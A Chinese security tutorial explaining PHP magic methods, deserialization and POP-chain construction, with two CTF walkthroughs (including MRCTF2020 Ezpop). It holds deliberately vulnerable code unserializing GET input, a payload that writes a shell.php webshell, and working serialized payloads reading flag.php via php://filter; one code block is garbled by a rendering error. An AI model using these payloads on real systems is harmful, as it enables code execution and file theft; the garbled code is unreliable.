查看原文
其他

原创 | 从PHP反序列化原理到POP链构造

Am1azi3ng SecIN技术平台 2024-05-25

点击蓝字




关注我们



0x01 序言

分享一下php反序列化的pop链儿吧,内容也不长,有错误的话大佬指出。


0x02 魔术方法介绍

  • 常见的PHP魔术方法

__construct:在创建对象时候初始化对象,一般用于对变量赋初值,当对象创建(new)时会自动调用。__destruct:和构造函数相反,当对象所在函数调用完毕后执行,当对象被销毁时会自动调用,对象消亡时,自动被调用,用来释放对象占用的空间。__wakeup:反序列化恢复对象之前调用该方法,unserialize()时会自动调用__sleep():序列化对象之前就调用此方法(其返回需要一个数组)__call():当调用对象中不存在的方法会自动调用该方法__callStatic():在静态上下文中调用不可访问的方法时触发__get():用于从不可访问的属性读取数据,在不可访问的属性上调用isset()或empty(),在不可访问的属性上使用unset()时触发__set():用于将数据写入不可访问的属性__isset():在不可访问的属性上调用isset()或empty()触发__unset():在不可访问的属性上使用unset()时触发__toString():把类当作字符串使用时触发__invoke():当脚本尝试将对象调用为函数时触发



0x03 serialize 和unserialize

原理

php中有两个函数:serialize序列化以及unserialize反序列化,序列化函数用于序列化对象或数组,并返回一个字符串,逆向的过程叫做反序列化。

来一个简单的列子:

<?phpclass User{ var $a='ceshi'; var $c='ceshi2';}
$b=new User;$b_1=serialize($b);print_r($b_1);?>

输出结果为

O:4:"User":2:{s:1:"a";s:5:"ceshi";s:1:"c";s:6:"ceshi2";}

这里的O代表存储的是对象(object),serialize()传入的是一个数组,那它会变成字母a。4表示对象的名称有4个字符。"User"表示对象的名称。2表示有一个值。{s:1:"a";s:5:"ceshi";s:1:"c";s:6:"ceshi2";}中,s表示字符串,a表示变量名,5表示该字符串的长度,"ceshi"为字符串的名称,s表示字符串,1变量的长度,c表示变量名称,6表示该字符串的长度,"ceshi2"为字符串的名称。

接下来将得到的序列化后的字符串进行反序列化

<?phpclass User{ var $a='ceshi'; var $c='ceshi2';}$b=new User();$b_ser=serialize($b);print_r($b_ser."\n"); //序列化生成的对象$b_unser=unserialize($b_ser);//反序列化生成的序列化之后的字符串echo "\n";print_r($b_unser);?>

得到的输出结果那么就是

经过断点调试我们发现

<?phpclass User{ var $a='ceshi'; var $c='ceshi2'; function __wakeup(){ echo "__wakeup"; echo "\n"; }}$b=new User();$b_ser=serialize($b);print_r($b_ser."\n"); //序列化生成的对象$b_unser=unserialize($b_ser);//反序列化生成的序列化之后的字符串print_r($b_unser);?>


在执行了反序列unserialize恢复对象之前调用了php魔术方法__wakeup(),上面的图片可以看清楚函数的调用顺序,毕竟debug模式比较容易按步调试,输出结果如下

利用1

根据函数调用顺序我们看到在执行了反序列化(unserialize)之后调用了--destruct函数那么在恢复对象之前调用了--wakeup()函数,那么利用反序列化就是尝试在魔术方法中写入方法生成新的php文件利用反序列化调用魔术方法然后执行恶意代码

<?phphighlight_file(__FILE__);error_reporting(0);include "shell.php";class User{ var $test='ceshi'; function __wakeup(){ // TODO: Implement __wakeup() method. $fp = fopen("shell.php","w") ;//调用该魔术方法写一个shell.php文件 fwrite($fp,$this->test); fclose($fp); }}$task = $_GET['test'];print_r($task);$task_unser = unserialize($task);print_r($task_unser)?>


思路就是构造使用get方式传参传入的参数进行反序列化触发魔术方法__wakeup(),在wakeup函数中执行写入shell.php文件。那么首先就是需要构造传入的反序列化参数的内容。

<?phphighlight_file(__FILE__);error_reporting(0);include "shell.php";class User{ var $test='ceshi'; function __wakeup(){ // TODO: Implement __wakeup() method. $fp = fopen("shell.php","w") ;//调用该魔术方法写一个shell.php文件 fwrite($fp,$this->test); fclose($fp); }}$a=new User();$a->test="<?php phpinfo(); ?>";$a_ser=serialize($a);print_r($a_ser);?>


new一个对象,引用赋给test的字符串,进行序列化操作得到如下的输出

O:4:"User":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

访问test2.php页面正常

传入test参数进行反序列化

成功生成一句话木马shell.php,利用文件包含读取出来。

利用2

但是这种情况是自动调用从而实现了RCE,如果没有这种条件又该如何去实现利用漏洞,可以利用反序列化漏洞的特点,寻找相同的函数名,结果敏感函数以及构造相对应的序列化参数去实现RCE

<?phphighlight_file(__FILE__);error_reporting(0);class User{ var $test = 'ceshi'; function __construct(){ $this->test=new Object(); } function __destruct(){ // TODO: Implement __destruct() method. $this->test->action(); }// function __wakeup()// {// // TODO: Implement __wakeup() method.// $fp = fopen("shell.php","w") ;//调用该魔术方法写一个shell.php文件// fwrite($fp,$this->test);// fclose($fp);// $test = new Object();// }} class Object{ function action(){ var_dump("hello"); } }//$task = $_GET['test'];//print_r($task);//$task_unser = unserialize($task);//print_r($task_unser)$a=new User();$b_unser=unserialize($a);?>


new一个新的对象,按照调试的步骤为先调用构造函数,然后直接反序列化,再传入反序列化字符串之前调用析构函数,由于再析构函数中重新new了一个对象Object,调用了action()方法。

继续跟进下一步,反序列化之后调用魔术方法__destruct()

最后的输出结果

接下来就是对反序列化的漏洞利用,怎么去构造反序列化传入的变量a,这里使用get传参,修改一下题目,$b_unser=unserialize($_GET['test']);

<?phpclass User { var $test; function __construct() { $this->test = new Object2(); }}class Object2 { var $test2 = "phpinfo();";}echo serialize(new User());?>


序列化得到的结果为

O:4:"User":1:{s:4:"test";O:7:"Object2":1:{s:5:"test2";s:10:"phpinfo();";}}

那么这里已经实现了联系相同的函数名以及危险函数eval去执行phpinfo


0x04 PHP反序列化之POP链构造

WEB1

`php<?phpclass A {public $a;public function funa($a1){echo $a1;}}class B {public $b;public function funb($b1){$this->$b->funa($b1);}}class C {public $c;public function func($c1){$this->$c->funb($c1);}}highlight_file(FILE);error_reporting(0);$pop = $_GET['pop'];$argv = $_GET['argv'];$class = unserialize($pop);$class->func($argv);if($argv==flag){require "flag.php";}?>

根据题目分析主要在于实现A类中的执行语句,GET传入参数pop以及argv传入参数值为flag

类C调用函数类B调用函数类A。那么根据这个顺序可以构造以下的pop链

>new C()'$this->$c->funb($c1)'调用的是类B的funb()方法,实例化类B> $this->$c=new B()
同理实例化类A,"$this->$b->funa($b1)"调用的是类A的funa()方法> $this->$c->$b=new A()
调试一下并且验证一下输出,代码如下:

<?phpclass A {public $a;public function funa($a1){echo $a1;}}class B {public $b;public function funb($b1){$this->$b->funa($b1);}}class C {public $c;public function func($c1){$this->$c->funb($c1);}}$pop=new C();$pop->$c=new B();$pop->$c->$b = new A();$pop->$c->$b->funa(1);?>
成功输出"1"
![Snipaste_2021-09-01_11-03-50.png](/img/sin/M00/00/A8/wKg0C2EwgMyAfFYiAAC1uYAcuss545.png)

根据此pop链,序列化的代码如下:
<?phpclass A {public $a;public function funa($a1){echo $a1;}}class B {public $b;public function funb($b1){$this->$b->funa($b1);}}class C {public $c;public function func($c1){$this->$c->funb($c1);}}$pop=new C;$pop->$c=new B;$pop->$c->$b = new A;echo serialize($pop);?>
得到序列化结果
> 1> O:1:"C":2:{s:1:"c";N;s:0:"";O:1:"B":2:{s:1:"b";N;s:0:"";O:1:"A":1:{s:1:"a";N;}}}

构造payload如下

> pop=O:1:"C":2:{s:1:"c";N;s:0:"";O:1:"B":2:{s:1:"b";N;s:0:"";O:1:"A":1:{s:1:"a";N;}}}&argv=flag

拿到flag

![Snipaste_2021-09-01_11-33-34.png](/img/sin/M00/00/A8/wKg0C2EwgMyAd1AzAAB0QYrAPKk473.png)


这这里需要注意的是序列化的代码在php版本低于7.3

的条件下都会报错,无法正常输出。


在构造序列化的payload的时候一直无法成功输出,

在调试的过程中在第二步实例化对象的时候一直报错,

php的版本当时调试到7.0的版本也是报错,一直怀疑

是否是分析的有问题,后来才发现这里需要php版本大

于7.3,真的是掉坑里了。

#### WEB2 [MRCTF2020]Ezpop

源码:

Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {echo "hacker";$this->source = "index.php";}}}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}}if(isset($_GET['pop'])){@unserialize($_GET['pop']);}else{$a=new Show;highlight_file(FILE);}

总的来说代码的行数虽然比较多,但是只有三个类,简单的看这道题目的考点就可以直接看出来,php反序列化和文件包含。这里主要的就是分析POP链的构造。

Modifier类
class Modifier {protected $var;public function append(var;publicfunctionappend($value){include($value);}public function __invoke(){KaTeX parse error: Expected 'EOF', got '}' at position 9: value);}public functio$this->append($this->var);}}

两个方法,看到了__invoke(),它在对象调用为函数时触发

Show类

class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {echo "hacker";$this->source = "index.php";}}}

这个类三个方法,构造函数在对象创建时调用,__toString()把类当时做字符串时调用,这里调用str属性的source__wakeup()在反序列化之后进行调用,所以这里的逻辑应该是这样的,反序列化对象之后触发wakeup,由于wakeup方法中会将传入的

Test类

class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}}

着重看第二方法get作用在用于不可访问属性的访问,类似的属性private、protect。那么该类就和Modifier类联系起来了。所以POP链就基本如下:

> 反序列化之后触发wakeup,匹配字符串的时候触发__tostring> 当$str=new Test(),因为Test类中没有source,直接触发get魔术方法> $p=new Modifier()以函数形式调用触发__invoke()魔术方法
构造payload如下:
<?phpclass Modifier{protected $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Show{public $source;public $str;public function __construct(){$this->str=new Test();}}class Test{public $p;public function __get($key){$function = $this->p;return $function();}}$hack=new Show();$hack->source=new Show();$hack->source->str->p=new Modifier();echo urlencode(serialize($hack));?>

payload:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D

拿到flag

0x05 结语

文笔略糙,如有不当之处还望各位海涵!!!


往期推荐



原创 | phar反序列化学习

原创 | 浅谈Agent内存马

原创 | 内网渗透一周目小结


继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存